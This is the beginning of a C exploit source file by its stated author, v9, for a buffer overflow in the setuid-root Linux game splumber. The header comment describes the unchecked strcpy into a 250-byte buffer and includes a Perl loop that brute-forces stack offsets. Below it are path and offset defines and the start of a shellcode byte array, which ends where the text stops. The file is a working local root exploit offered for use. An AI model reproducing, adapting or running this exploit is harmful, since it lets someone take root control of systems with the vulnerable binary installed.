/*
   (linux)splumber[version2] buffer overflow, by v9[v9@fakehalo.org].  this is
   a misc. exploit for the linux-SVGAlib space plumber game.  which, as you
   know needs to be installed setuid root.  this overflow is due to a simple
   oversight in the command line parser.  uses strcpy() to copy to an unchecked
   250 byte buffer.

   note: i also noticed, other than just being setuid root in the makefile, it
         sets splumber's permissions to 4777. *g*

   ...and here is the perl script for the lazy person:

   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
    print "using offset: $i.\n";
    system("./xsplumber $i");
    $i+=50;
   }
*/

#define PATH "/usr/games/splumber"	// change to the correct path.
#define BUFFER_SIZE 257			// don't change.
#define DEFAULT_OFFSET -300		// worked for me.

static char exec[]=
  "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
